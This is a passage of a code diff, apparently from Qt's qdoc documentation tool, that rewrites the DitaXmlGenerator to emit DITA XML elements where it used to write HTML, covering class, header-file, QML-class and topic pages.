+        xmlWriter().writeEndElement(); // </cxxClass>
     }
-#endif
-    
-    generateBrief(inner, marker);
-    generateIncludes(inner, marker);
-    generateStatus(inner, marker);
-    if (cn) {
-        generateInherits(cn, marker);
-        generateInheritedBy(cn, marker);
-    }
-    generateThreadSafeness(inner, marker);
-    generateSince(inner, marker);
-
-    out() << "<ul>\n";
-
-    QString membersLink = generateListOfAllMemberFile(inner, marker);
-    if (!membersLink.isEmpty())
-        out() << "<li><xref href=\"" << membersLink << "\">"
-              << "List of all members, including inherited members</xref></li>\n";
-
-    QString obsoleteLink = generateLowStatusMemberFile(inner,
-                                                       marker,
-                                                       CodeMarker::Obsolete);
-    if (!obsoleteLink.isEmpty())
-        out() << "<li><xref href=\"" << obsoleteLink << "\">"
-              << "Obsolete members</xref></li>\n";
-
-    QString compatLink = generateLowStatusMemberFile(inner,
-                                                     marker,
-                                                     CodeMarker::Compat);
-    if (!compatLink.isEmpty())
-        out() << "<li><xref href=\"" << compatLink << "\">"
-              << "Qt 3 support members</xref></li>\n";
-
-    out() << "</ul>\n";
-
-    bool needOtherSection = false;
+    else if ((inner->type() == Node::Fake) && (inner->subType() == Node::HeaderFile)) {
+        const FakeNode* fn = const_cast<FakeNode*>(static_cast<const FakeNode*>(inner));
+        rawTitle = marker->plainName(inner);
+        fullTitle = marker->plainFullName(inner);
+        title = rawTitle;
 
-    /*
-      sections is built above for the call to generateTableOfContents().
-     */
-    s = sections.begin();
-    while (s != sections.end()) {
-        if (s->members.isEmpty() && s->reimpMembers.isEmpty()) {
-            if (!s->inherited.isEmpty())
-                needOtherSection = true;
+        /*
+          Note: Because the C++ specialization we are using
+          has no <cxxHeaderFile> element, we are using the
+          <cxxClass> element with an outputclass attribute
+          set to "headerfile" .
+         */
+        generateHeader(inner, fullTitle);
+        generateBrief(inner, marker); // <shortdesc>
+        xmlWriter().writeStartElement(CXXCLASSDETAIL);
+        xmlWriter().writeStartElement("apiDesc");
+        xmlWriter().writeAttribute("spectitle",title);
+        Text brief = fn->doc().briefText(); // zzz
+        if (!brief.isEmpty()) {
+            xmlWriter().writeStartElement("p");
+            generateText(brief, fn, marker);
+            xmlWriter().writeEndElement(); // </p>
+        }
+        generateIncludes(fn, marker);
+        generateStatus(fn, marker);
+        generateThreadSafeness(fn, marker);
+        generateSince(fn, marker);
+        xmlWriter().writeEndElement(); // </apiDesc>
+
+        bool needOtherSection = false;
+        QList<Section> summarySections;
+        summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay);
+        s = summarySections.begin();
+        while (s != summarySections.end()) {
+            if (s->members.isEmpty() && s->reimpMembers.isEmpty()) {
+                if (!s->inherited.isEmpty())
+                    needOtherSection = true;
+            }
+            else {
+                QString attr;
+                if (!s->members.isEmpty()) {
+                    xmlWriter().writeStartElement("section");
+                    attr = cleanRef((*s).name).toLower() + " redundant";
+                    xmlWriter().writeAttribute("outputclass",attr);
+                    xmlWriter().writeStartElement("title");
+                    xmlWriter().writeAttribute("outputclass","h2");
+                    writeCharacters(protectEnc((*s).name));
+                    xmlWriter().writeEndElement(); // </title>
+                    generateSection(s->members, inner, marker, CodeMarker::Summary);
+                    generateSectionInheritedList(*s, inner, marker);
+                    xmlWriter().writeEndElement(); // </section>
+                }
+                if (!s->reimpMembers.isEmpty()) {
+                    QString name = QString("Reimplemented ") + (*s).name;
+                    attr = cleanRef(name).toLower() + " redundant";
+                    xmlWriter().writeStartElement("section");
+                    xmlWriter().writeAttribute("outputclass",attr);
+                    xmlWriter().writeStartElement("title");
+                    xmlWriter().writeAttribute("outputclass","h2");
+                    writeCharacters(protectEnc(name));
+                    xmlWriter().writeEndElement(); // </title>
+                    generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary);
+                    generateSectionInheritedList(*s, inner, marker);
+                    xmlWriter().writeEndElement(); // </section>
+                }
+            }
+            ++s;
         }
-        else {
-            if (!s->members.isEmpty()) {
-                out() << "<hr />\n";
-                out() << "<a name=\""
-                      << registerRef((*s).name.toLower())
-                      << "\"></a>\n";
-                out() << "<h2>" << protectEnc((*s).name) << "</h2>\n";
-                generateSection(s->members, inner, marker, CodeMarker::Summary);
+        if (needOtherSection) {
+            xmlWriter().writeStartElement("section");
+            xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant");
+            xmlWriter().writeStartElement("title");
+            xmlWriter().writeAttribute("outputclass","h3");
+            xmlWriter().writeCharacters("Additional Inherited Members");
+            xmlWriter().writeEndElement(); // </title>
+            s = summarySections.begin();
+            while (s != summarySections.end()) {
+                if (s->members.isEmpty())
+                    generateSectionInheritedList(*s, inner, marker);
+                ++s;
             }
-            if (!s->reimpMembers.isEmpty()) {
-                QString name = QString("Reimplemented ") + (*s).name;
-                out() << "<hr />\n";
-                out() << "<a name=\""
-                      << registerRef(name.toLower())
-                      << "\"></a>\n";
-                out() << "<h2>" << protectEnc(name) << "</h2>\n";
-                generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary);
+            xmlWriter().writeEndElement(); // </section>
+        }
+        
+        writeDetailedDescription(fn, marker, false, QString("Detailed Description"));
+        xmlWriter().writeEndElement(); // </cxxClassDetail>
+
+        // not included: <related-links>
+        // not included: <cxxClassNested>
+
+        QList<Section> detailSections;
+        detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay);
+        s = detailSections.begin();
+        while (s != detailSections.end()) {
+            if ((*s).name == "Classes") {
+                writeNestedClasses((*s),fn);
+                break;
             }
+            ++s;
+        }
 
-            if (!s->inherited.isEmpty()) {
-                out() << "<ul>\n";
-                generateSectionInheritedList(*s, inner, marker, true);
-                out() << "</ul>\n";
+        s = detailSections.begin();
+        while (s != detailSections.end()) {
+            if ((*s).name == "Function Documentation") {
+                writeFunctions((*s),fn,marker);
+            }
+            else if ((*s).name == "Type Documentation") {
+                writeEnumerations((*s),marker);
+                writeTypedefs((*s),marker);
+            }
+            else if ((*s).name == "Namespaces") {
+                qDebug() << "Nested namespaces" << outFileName();
+            }
+            else if ((*s).name == "Macro Documentation") {
+                writeMacros((*s),marker);
             }
+            ++s;
         }
-        ++s;
+        generateLowStatusMembers(inner,marker,CodeMarker::Obsolete);
+        generateLowStatusMembers(inner,marker,CodeMarker::Compat);
+        xmlWriter().writeEndElement(); // </cxxClass>
     }
+    else if ((inner->type() == Node::Fake) && (inner->subType() == Node::QmlClass)) {
+        const QmlClassNode* qcn = const_cast<QmlClassNode*>(static_cast<const QmlClassNode*>(inner));
+        const ClassNode* cn = qcn->classNode();
+        rawTitle = marker->plainName(inner);
+        fullTitle = marker->plainFullName(inner);
+        title = rawTitle + " Element Reference";
+        //QString fullTitle = fake->fullTitle();
+        //QString htmlTitle = fullTitle;
 
-    if (needOtherSection) {
-        out() << "<h3>Additional Inherited Members</h3>\n"
-                 "<ul>\n";
+        generateHeader(inner, fullTitle);
+        generateBrief(inner, marker); // <shortdesc>
 
-        s = sections.begin();
-        while (s != sections.end()) {
-            if (s->members.isEmpty() && !s->inherited.isEmpty())
-                generateSectionInheritedList(*s, inner, marker);
+        // not included: <prolog>
+    
+        xmlWriter().writeStartElement(CXXCLASSDETAIL);
+        xmlWriter().writeStartElement("apiDesc");
+        xmlWriter().writeAttribute("spectitle",title);
+        Text brief = qcn->doc().briefText(); // zzz
+        if (!brief.isEmpty()) {
+            xmlWriter().writeStartElement("p");
+            generateText(brief, qcn, marker);
+            xmlWriter().writeEndElement(); // </p>
+        }
+        generateQmlInstantiates(qcn, marker);
+        generateQmlInherits(qcn, marker);
+        generateQmlInheritedBy(qcn, marker);
+        generateSince(qcn, marker);
+        xmlWriter().writeEndElement(); // </apiDesc>
+
+        QList<Section> summarySections;
+        summarySections = marker->qmlSections(qcn,CodeMarker::Summary,0);
+        s = summarySections.begin();
+        while (s != summarySections.end()) {
+            QString attr;
+            if (!s->members.isEmpty()) {
+                xmlWriter().writeStartElement("section");
+                attr = cleanRef((*s).name).toLower() + " redundant";
+                xmlWriter().writeAttribute("outputclass",attr);
+                xmlWriter().writeStartElement("title");
+                xmlWriter().writeAttribute("outputclass","h2");
+                writeCharacters(protectEnc((*s).name));
+                xmlWriter().writeEndElement(); // </title>
+                generateQmlSummary(*s,qcn,marker);
+                //generateSection(s->members, inner, marker, CodeMarker::Summary);
+                //generateSectionInheritedList(*s, inner, marker);
+                xmlWriter().writeEndElement(); // </section>
+            }
             ++s;
         }
-        out() << "</ul>\n";
-    }
-
-    out() << "<a name=\"" << registerRef("details") << "\"></a>\n";
-
-    if (!inner->doc().isEmpty()) {
-        out() << "<hr />\n"
-              << "<div class=\"descr\"/>\n" // QTBUG-9504
-              << "<h2>" << "Detailed Description" << "</h2>\n";
-        generateBody(inner, marker);
-        out() << "</div>\n"; // QTBUG-9504
-        generateAlsoList(inner, marker);
-    }
-
-    sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay);
-    s = sections.begin();
-    while (s != sections.end()) {
-        out() << "<hr />\n";
-        if (!(*s).divClass.isEmpty())
-            out() << "<div class=\"" << (*s).divClass << "\"/>\n"; // QTBUG-9504
-        out() << "<h2>" << protectEnc((*s).name) << "</h2>\n";
-
-        NodeList::ConstIterator m = (*s).members.begin();
-        while (m != (*s).members.end()) {
-            if ((*m)->access() != Node::Private) { // ### check necessary?
-                if ((*m)->type() != Node::Class)
-                    generateDetailedMember(*m, inner, marker);
-                else {
-                    out() << "<h3> class ";
-                    generateFullName(*m, inner, marker);
-                    out() << "</h3>";
-                    generateBrief(*m, marker, inner);
-                }
+        
+        writeDetailedDescription(qcn, marker, false, QString("Detailed Description"));
+        if (cn)
+            generateQmlText(cn->doc().body(), cn, marker, qcn->name());
 
-                QStringList names;
-                names << (*m)->name();
-                if ((*m)->type() == Node::Function) {
-                    const FunctionNode *func = reinterpret_cast<const FunctionNode *>(*m);
-                    if (func->metaness() == FunctionNode::Ctor ||
-                        func->metaness() == FunctionNode::Dtor ||
-                        func->overloadNumber() != 1)
-                        names.clear();
-                }
-                else if ((*m)->type() == Node::Property) {
-                    const PropertyNode *prop = reinterpret_cast<const PropertyNode *>(*m);
-                    if (!prop->getters().isEmpty() &&
-                        !names.contains(prop->getters().first()->name()))
-                        names << prop->getters().first()->name();
-                    if (!prop->setters().isEmpty())
-                        names << prop->setters().first()->name();
-                    if (!prop->resetters().isEmpty())
-                        names << prop->resetters().first()->name();
-                }
-                else if ((*m)->type() == Node::Enum) {
-                    const EnumNode *enume = reinterpret_cast<const EnumNode*>(*m);
-                    if (enume->flagsType())
-                        names << enume->flagsType()->name();
-
-                    foreach (const QString &enumName,
-                             enume->doc().enumItemNames().toSet() -
-                             enume->doc().omitEnumItemNames().toSet())
-                        names << plainCode(marker->markedUpEnumValue(enumName,
-                                                                     enume));
+        QList<Section> detailSections;
+        detailSections = marker->qmlSections(qcn,CodeMarker::Detailed,0);
+        s = detailSections.begin();
+        while (s != detailSections.end()) {
+            if (!s->members.isEmpty()) {
+                QString attr;
+                inSection = true;
+                xmlWriter().writeStartElement("section");
+                attr = cleanRef((*s).name).toLower();
+                xmlWriter().writeAttribute("outputclass",attr);
+                xmlWriter().writeStartElement("title");
+                xmlWriter().writeAttribute("outputclass","h2");
+                writeCharacters(protectEnc((*s).name));
+                xmlWriter().writeEndElement(); // </title>
+                NodeList::ConstIterator m = (*s).members.begin();
+                while (m != (*s).members.end()) {
+                    generateDetailedQmlMember(*m, qcn, marker);
+                    ++m;
                 }
+                xmlWriter().writeEndElement(); // </section>
+                inSection = false;
             }
-            ++m;
+            ++s;
         }
-        if (!(*s).divClass.isEmpty())
-            out() << "</div>\n"; // QTBUG-9504
-        ++s;
+
+        xmlWriter().writeEndElement(); // </cxxClassDetail>        
+        xmlWriter().writeEndElement(); // </cxxClass>
     }
-#endif
+}
+
+
+/*!
+  Write a list item for a \a link with the given \a text.
+ */
+void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& text)
+{
+    xmlWriter().writeStartElement("li");
+    xmlWriter().writeStartElement("xref");
+    xmlWriter().writeAttribute("href",link);
+    writeCharacters(text);
+    xmlWriter().writeEndElement(); // </xref>
+    xmlWriter().writeEndElement(); // </li>
 }
 
 /*!
   Generate the html page for a qdoc file that doesn't map
   to an underlying c++ file.
  */
-void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
+void DitaXmlGenerator::generateFakeNode(const FakeNode* fake, CodeMarker* marker)
 {
-    return; // zzz
-    
     SubTitleSize subTitleSize = LargeSubTitle;
     QList<Section> sections;
     QList<Section>::const_iterator s;
@@ -1701,154 +2025,127 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker
         htmlTitle = fullTitle;
     }
 
-    generateHeader(fake);
-        
-    /*
-      Generate the TOC for the new doc format.
-      Don't generate a TOC for the home page.
-    */
-    if (fake->name() != QString("index.html"))
-        generateTableOfContents(fake,marker,0);
-
-    generateTitle(fullTitle,
-                  Text() << fake->subTitle(),
-                  subTitleSize,
-                  fake,
-                  marker);
-
+    generateHeader(fake, fullTitle);
+    generateBrief(fake, marker); // <shortdesc>
+    xmlWriter().writeStartElement("body");
     if (fake->subType() == Node::Module) {
-        // Generate brief text and status for modules.
-        generateBrief(fake, marker);
         generateStatus(fake, marker);
-
         if (moduleNamespaceMap.contains(fake->name())) {
-            out() << "<a name=\"" << registerRef("namespaces") << "\"></a>\n";
-            out() << "<h2>Namespaces</h2>\n";
+            xmlWriter().writeStartElement("section");
+            xmlWriter().writeAttribute("outputclass","namespaces");
+            xmlWriter().writeStartElement("title");
+            xmlWriter().writeAttribute("outputclass","h2");
+            xmlWriter().writeCharacters("Namespaces");
+            xmlWriter().writeEndElement(); // </title>
             generateAnnotatedList(fake, marker, moduleNamespaceMap[fake->name()]);
+            xmlWriter().writeEndElement(); // </section>
         }
         if (moduleClassMap.contains(fake->name())) {
-            out() << "<a name=\"" << registerRef("classes") << "\"></a>\n";
-            out() << "<h2>Classes</h2>\n";
+            xmlWriter().writeStartElement("section");
+            xmlWriter().writeAttribute("outputclass","classes");
+            xmlWriter().writeStartElement("title");
+            xmlWriter().writeAttribute("outputclass","h2");
+            xmlWriter().writeCharacters("Classes");
+            xmlWriter().writeEndElement(); // </title>
             generateAnnotatedList(fake, marker, moduleClassMap[fake->name()]);
+            xmlWriter().writeEndElement(); // </section>
         }
     }
-    else if (fake->subType() == Node::HeaderFile) {
-        // Generate brief text and status for modules.
-        generateBrief(fake, marker);
-        generateStatus(fake, marker);
-
-        out() << "<ul>\n";
 
-        QString membersLink = generateListOfAllMemberFile(fake, marker);
-        if (!membersLink.isEmpty())
-            out() << "<li><xref href=\"" << membersLink << "\">"
-                  << "List of all members, including inherited members</xref></li>\n";
-
-        QString obsoleteLink = generateLowStatusMemberFile(fake,
-                                                           marker,
-                                                           CodeMarker::Obsolete);
-        if (!obsoleteLink.isEmpty())
-            out() << "<li><xref href=\"" << obsoleteLink << "\">"
-                  << "Obsolete members</xref></li>\n";
-
-        QString compatLink = generateLowStatusMemberFile(fake,
-                                                         marker,
-                                                         CodeMarker::Compat);
-        if (!compatLink.isEmpty())
-            out() << "<li><xref href=\"" << compatLink << "\">"
-                  << "Qt 3 support members</xref></li>\n";
-
-        out() << "</ul>\n";
+    if (fake->doc().isEmpty()) {
+        if (fake->subType() == Node::File) {
+            Text text;
+            Quoter quoter;
+            xmlWriter().writeStartElement("p");
+            xmlWriter().writeAttribute("outputclass", "small-subtitle");
+            text << fake->subTitle();
+            generateText(text, fake, marker);
+            xmlWriter().writeEndElement(); // </p>
+            Doc::quoteFromFile(fake->doc().location(), quoter, fake->name());
+            QString code = quoter.quoteTo(fake->location(), "", "");
+            text.clear();
+            text << Atom(Atom::Code, code);
+            generateText(text, fake, marker);
+        }
     }
-#ifdef QDOC_QML
-    else if (fake->subType() == Node::QmlClass) {
-        const QmlClassNode* qml_cn = static_cast<const QmlClassNode*>(fake);
-        const ClassNode* cn = qml_cn->classNode();
-        generateQmlInherits(qml_cn, marker);
-        generateQmlInstantiates(qml_cn, marker);
-        generateBrief(qml_cn, marker);
-        generateQmlInheritedBy(qml_cn, marker);
-        sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0);
-        s = sections.begin();
-        while (s != sections.end()) {
-            out() << "<a name=\"" << registerRef((*s).name) << "\"></a>\n";
-            out() << "<h2>" << protectEnc((*s).name) << "</h2>\n";
-            generateQmlSummary(*s,fake,marker);
-            ++s;
+    else {
+        if (fake->subType() == Node::Module) {
+            writeDetailedDescription(fake, marker, false, QString("Detailed Description"));
         }
-
-        out() << "<a name=\"" << registerRef("details") << "\"></a>\n";
-        out() << "<h2>" << "Detailed Description" << "</h2>\n";
-        generateBody(fake, marker);
-        if (cn)
-            generateQmlText(cn->doc().body(), cn, marker, fake->name());
+        else
+            writeDetailedDescription(fake, marker, false, QString());
         generateAlsoList(fake, marker);
-        out() << "<hr />\n";
-
-        sections = marker->qmlSections(qml_cn,CodeMarker::Detailed,0);
-        s = sections.begin();
-        while (s != sections.end()) {
-            out() << "<h2>" << protectEnc((*s).name) << "</h2>\n";
-            NodeList::ConstIterator m = (*s).members.begin();
-            while (m != (*s).members.end()) {
-                generateDetailedQmlMember(*m, fake, marker);
-                out() << "<br/>\n";
-                ++m;
+
+        if (!fake->groupMembers().isEmpty()) {
+            NodeMap groupMembersMap;
+            foreach (const Node *node, fake->groupMembers()) {
+                if (node->type() == Node::Class || node->type() == Node::Namespace)
+                    groupMembersMap[node->name()] = node;
             }
-            ++s;
+            generateAnnotatedList(fake, marker, groupMembersMap);
         }
-        return;
-    }
-#endif
-    
-    sections = marker->sections(fake, CodeMarker::Summary, CodeMarker::Okay);
-    s = sections.begin();
-    while (s != sections.end()) {
-        out() << "<a name=\"" << registerRef((*s).name) << "\"></a>\n";
-        out() << "<h2>" << protectEnc((*s).name) << "</h2>\n";
-        generateSectionList(*s, fake, marker, CodeMarker::Summary);
-        ++s;
-    }
-
-    Text brief = fake->doc().briefText();
-    if (fake->subType() == Node::Module && !brief.isEmpty()) {
-        out() << "<a name=\"" << registerRef("details") << "\"></a>\n";
-        out() << "<div class=\"descr\"/>\n"; // QTBUG-9504
-        out() << "<h2>" << "Detailed Description" << "</h2>\n";
     }
-    else
-        out() << "<div class=\"descr\"/>\n"; // QTBUG-9504
+    xmlWriter().writeEndElement(); // </body>
+    writeRelatedLinks(fake, marker);
+    xmlWriter().writeEndElement(); // </topic>
+}
 
-    generateBody(fake, marker);
-    out() << "</div>\n"; // QTBUG-9504
-    generateAlsoList(fake, marker);
+/*!
+  This function writes a \e{<link>} element inside a
+  \e{<related-links>} element.
 
-    if (!fake->groupMembers().isEmpty()) {
-        NodeMap groupMembersMap;
-        foreach (const Node *node, fake->groupMembers()) {
-            if (node->type() == Node::Class || node->type() == Node::Namespace)
-                groupMembersMap[node->name()] = node;
-        }
-        generateAnnotatedList(fake, marker, groupMembersMap);
+  \sa writeRelatedLinks()
+ */
+void DitaXmlGenerator::writeLink(const Node* node,
+                                 const QString& text,
+                                 const QString& role)
+{
+    if (node) {
+        QString link = fileName(node) + "#" + node->guid();
+        xmlWriter().writeStartElement("link");
+        xmlWriter().writeAttribute("href", link);
+        xmlWriter().writeAttribute("role", role);
+        xmlWriter().writeStartElement("linktext");
+        writeCharacters(text);
+        xmlWriter().writeEndElement(); // </linktext>
+        xmlWriter().writeEndElement(); // </link>
     }
+}
 
-    sections = marker->sections(fake, CodeMarker::Detailed, CodeMarker::Okay);
-    s = sections.begin();
-    while (s != sections.end()) {
-        out() << "<hr />\n";
-        out() << "<h2>" << protectEnc((*s).name) << "</h2>\n";
-
-        NodeList::ConstIterator m = (*s).members.begin();
-        while (m != (*s).members.end()) {
-            generateDetailedMember(*m, fake, marker);
-            ++m;
-        }
-        ++s;
+/*!
+  This function writes a \e{<related-links>} element, which
+  contains the \c{next}, \c{previous}, and \c{start}
+  links for topic pages that have them. Note that the
+  value of the \e role attribute is \c{parent} for the
+  \c{start} link.
+ */
+void DitaXmlGenerator::writeRelatedLinks(const FakeNode* node, CodeMarker* marker)
+{
+    const Node* linkNode = 0;
+    QPair<QString,QString> linkPair;
+    if (node && !node->links().empty()) {
+        xmlWriter().writeStartElement("related-links");
+        if (node->links().contains(Node::PreviousLink)) {
+            linkPair = node->links()[Node::PreviousLink];
+            linkNode = findNodeForTarget(linkPair.first, node, marker);
+            writeLink(linkNode, linkPair.second, "previous");
+        }
+        if (node->links().contains(Node::NextLink)) {
+            linkPair = node->links()[Node::NextLink];
+            linkNode = findNodeForTarget(linkPair.first, node, marker);
+            writeLink(linkNode, linkPair.second, "next");
+        }
+        if (node->links().contains(Node::StartLink)) {
+            linkPair = node->links()[Node::StartLink];
+            linkNode = findNodeForTarget(linkPair.first, node, marker);
+            writeLink(linkNode, linkPair.second, "parent");
+        }
+        xmlWriter().writeEndElement(); // </related-links>
     }
 }
 
 /*!
-  Returns "xml" for this subclass of Generator.
+  Returns "xml" for this subclass of class Generator.
  */
 QString DitaXmlGenerator::fileExtension(const Node * /* node */) const
 {
@@ -1856,172 +2153,146 @@ QString DitaXmlGenerator::fileExtension(const Node * /* node */) const
 }
 
 /*!
-  Output breadcrumb list in the html file.
+  Writes an XML file header to the current XML stream. This
+  depends on which kind of DITA XML file is being generated,
+  which is determined by the \a node type and subtype and the
+  \a subpage flag. If the \subpage flag is true, a \c{<topic>}
+  header is written, regardless of the type of \a node.
  */
-void DitaXmlGenerator::generateBreadCrumbs(const QString& title,
-                                           const Node *node,
-                                           CodeMarker *marker)
+void DitaXmlGenerator::generateHeader(const Node* node,
+                                      const QString& name,
+                                      bool subpage)
 {
-    Text breadcrumb;
-    if (node->type() == Node::Class) {
-        const ClassNode* cn = static_cast<const ClassNode*>(node);
-        QString name =  node->moduleName();
-        out() << "              <li><xref href=\"modules.html\">All Modules</xref></li>";
-        if (!name.isEmpty()) {
-            out() << "              <li>";
-            breadcrumb << Atom(Atom::AutoLink,name);
-            generateText(breadcrumb, node, marker);
-            out() << "</li>\n";
-        }
-        breadcrumb.clear();
-        if (!cn->name().isEmpty()) {
-            out() << "              <li>";
-            breadcrumb << Atom(Atom::AutoLink,cn->name());
-            generateText(breadcrumb, 0, marker);
-            out() << "</li>\n";
-        }
-    }
-    else if (node->type() == Node::Fake) {
-        const FakeNode* fn = static_cast<const FakeNode*>(node);
-        if (node->subType() == Node::Module) {
-            out() << "              <li><xref href=\"modules.html\">All Modules</xref></li>";
-            QString name =  node->name();
-            if (!name.isEmpty()) {
-                out() << "              <li>";
-                breadcrumb << Atom(Atom::AutoLink,name);
-                generateText(breadcrumb, 0, marker);
-                out() << "</li>\n";
-            }
-        }
-        else if (node->subType() == Node::Group) {
-            if (fn->name() == QString("modules"))
-                out() << "              <li><xref href=\"modules.html\">All Modules</xref></li>";
-            else {
-                out() << "              <li><xref href=\"" << fn->name() << "\">" << title
-                      << "</xref></li>";
-            }
-        }
-        else if (node->subType() == Node::Page) {
-            if (fn->name() == QString("examples.html")) {
-                out() << "              <li><xref href=\"all-examples.html\">Examples</xref></li>";
-            }
-            else if (fn->name().startsWith("examples-")) {
-                out() << "              <li><xref href=\"all-examples.html\">Examples</xref></li>";
-                out() << "              <li><xref href=\"" << fn->name() << "\">" << title
-                      << "</xref></li>";
-            }
-            else if (fn->name() == QString("namespaces.html")) {
-                out() << "              <li><xref href=\"namespaces.html\">All Namespaces</xref></li>";
-            }
-            else {
-                out() << "              <li><xref href=\"" << fn->name() << "\">" << title
-                      << "</xref></li>";
-            }
-        }
-        else if (node->subType() == Node::QmlClass) {
-            out() << "              <li><xref href=\"qdeclarativeelements.html\">QML Elements</xref></li>";
-            out() << "              <li><xref href=\"" << fn->name() << "\">" << title
-                  << "</xref></li>";
-        }
-        else if (node->subType() == Node::Example) {
-            out() << "              <li><xref href=\"all-examples.html\">Examples</xref></li>";
-            QStringList sl = fn->name().split('/');
-            QString name = "examples-" + sl.at(0) + ".html";
-            QString t = CodeParser::titleFromName(name);
-            out() << "              <li><xref href=\"" << name << "\">"
-                  << t << "</xref></li>";
-            out() << "              <li><xref href=\"" << sl.at(0)
-                  << "-" << sl.at(sl.size()-1) << ".html\">"
-                  << title << "</xref></li>";
-        }
-    }
-    else if (node->type() == Node::Namespace) {
-        const NamespaceNode* nsn = static_cast<const NamespaceNode*>(node);
-        out() << "              <li><xref href=\"namespaces.html\">All Namespaces</xref></li>";
-        out() << "              <li><xref href=\"" << fileName(nsn) << "\">" << title
-              << "</xref></li>";
-    }
-}
-
-void DitaXmlGenerator::generateHeader(const Node* node)
-{
-    writer.setDevice(out().device());
-    writer.setAutoFormatting(true);
-    writer.setAutoFormattingIndent(4);
-    writer.writeStartDocument();
-    
     if (!node)
         return;
 
-    QString docType;
+    QString doctype;
+    QString mainElement;
+    QString nameElement;
     QString dtd;
+    QString base;
     QString version;
+    QString outputclass;
+
     if (node->type() == Node::Class) {
-        docType = "cxxClass";
+        mainElement = "cxxClass";
+        nameElement = "apiName";
         dtd = "dtd/cxxClass.dtd";
         version = "0.6.0";
+        doctype = "<!DOCTYPE " + mainElement +
+            " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" +
+            version + "//EN\" \"" + dtd + "\">";
     }
-
-    QString doctype = "<!DOCTYPE " + docType +
-        " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" +
-        version + "//EN\" \"" + dtd + "\">";
-    writer.writeDTD(doctype);
-    writer.writeComment(node->doc().location().fileName());
-}
-
-void DitaXmlGenerator::generateTitle(const QString& title,
-                                     const Text &subTitle,
-                                     SubTitleSize subTitleSize,
-                                     const Node *relative,
-                                     CodeMarker *marker)
-{
-    if (!title.isEmpty())
-        out() << "<h1 class=\"title\">" << protectEnc(title) << "</h1>\n";
-    if (!subTitle.isEmpty()) {
- 			out() << "<span";
-       if (subTitleSize == SmallSubTitle)
-            out() << " class=\"small-subtitle\">";
-        else
-            out() << " class=\"subtitle\">";
-        generateText(subTitle, relative, marker);
-        out() << "</span>\n";
+    else if (node->type() == Node::Namespace) {
+        mainElement = "cxxClass";
+        nameElement = "apiName";
+        dtd = "dtd/cxxClass.dtd";
+        version = "0.6.0";
+        doctype = "<!DOCTYPE " + mainElement +
+            " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" +
+            version + "//EN\" \"" + dtd + "\">";
+        outputclass = "namespace";
+    }
+    else if (node->type() == Node::Fake || subpage) {
+        if (node->subType() == Node::HeaderFile) {
+            mainElement = "cxxClass";
+            nameElement = "apiName";
+            dtd = "dtd/cxxClass.dtd";
+            version = "0.6.0";
+            doctype = "<!DOCTYPE " + mainElement +
+                " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" +
+                version + "//EN\" \"" + dtd + "\">";
+            outputclass = "headerfile";
+        }
+        else if (node->subType() == Node::QmlClass) {
+            mainElement = "cxxClass";
+            nameElement = "apiName";
+            dtd = "dtd/cxxClass.dtd";
+            version = "0.6.0";
+            doctype = "<!DOCTYPE " + mainElement +
+                " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" +
+                version + "//EN\" \"" + dtd + "\">";
+            outputclass = "QML-class";
+        }
+        else {
+            mainElement = "topic";
+            nameElement = "title";
+            dtd = "dtd/topic.dtd";
+            doctype = "<!DOCTYPE " + mainElement +
+                " PUBLIC \"-//OASIS//DTD DITA Topic//EN\" \"" + dtd + "\">";
+            switch (node->subType()) {
+            case Node::Page:
+                outputclass = "page";
+                break;
+            case Node::Group:
+                outputclass = "group";
+                break;
+            case Node::Example:
+                outputclass = "example";
+                break;
+            case Node::File:
+                outputclass = "file";
+                break;
+            case Node::Image:  // not used
+                outputclass = "image";
+                break;
+            case Node::Module:
+                outputclass = "module";
+                break;
+            case Node::ExternalPage: // not used
+                outputclass = "externalpage";
+                break;
+            default:
+                outputclass = "page";
+            }
+        }
     }
+
+    xmlWriter().writeDTD(doctype);
+    xmlWriter().writeComment(node->doc().location().fileName());
+    xmlWriter().writeStartElement(mainElement);
+    xmlWriter().writeAttribute("id",node->guid());
+    if (!outputclass.isEmpty())
+        xmlWriter().writeAttribute("outputclass",outputclass);
+    xmlWriter().writeStartElement(nameElement); // <title> or <apiName>
+    writeCharacters(name);
+    xmlWriter().writeEndElement(); // </title> or </apiName> 
 }
 
 /*!
-  Outputs the brief command as a <shortdesc" element.
+  Outputs the \e brief command as a <shortdesc> element.
  */
 void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker)
 {
-    Text brief = node->doc().briefText();
+    Text brief = node->doc().briefText(true); // zzz
     if (!brief.isEmpty()) {
-        ++noLinks;
-        writer.writeStartElement(SHORTDESC);
         generateText(brief, node, marker);
-        writer.writeEndElement(); // shortdesc
-        --noLinks;
     }
 }
 
-void DitaXmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker)
+/*!
+  Writes the \c {#include ...} required to include the class
+  or namespace in a compilation.
+ */
+void DitaXmlGenerator::generateIncludes(const InnerNode* inner, CodeMarker* marker)
 {
     if (!inner->includes().isEmpty()) {
-        out() << "<pre class=\"highlightedCode\">"
-              << trimmedTrailing(highlightedCode(indent(codeIndent,
-                                                        marker->markedUpIncludes(inner->includes())),
-                                                 marker,inner))
-              << "</pre>";
+        xmlWriter().writeStartElement("codeblock");
+        writeText(marker->markedUpIncludes(inner->includes()), marker, inner);
+        xmlWriter().writeEndElement(); // </codeblock>
     }
 }
 
 /*!
+  zzz
   Generates a table of contents beginning at \a node.
+  Currently just returns without writing anything.
  */
-void DitaXmlGenerator::generateTableOfContents(const Node *node,
-                                            CodeMarker *marker,
-                                            Doc::SectioningUnit sectioningUnit,
-                                            int numColumns,
-                                            const Node *relative)
+void DitaXmlGenerator::generateTableOfContents(const Node* node,
+                                               CodeMarker* marker,
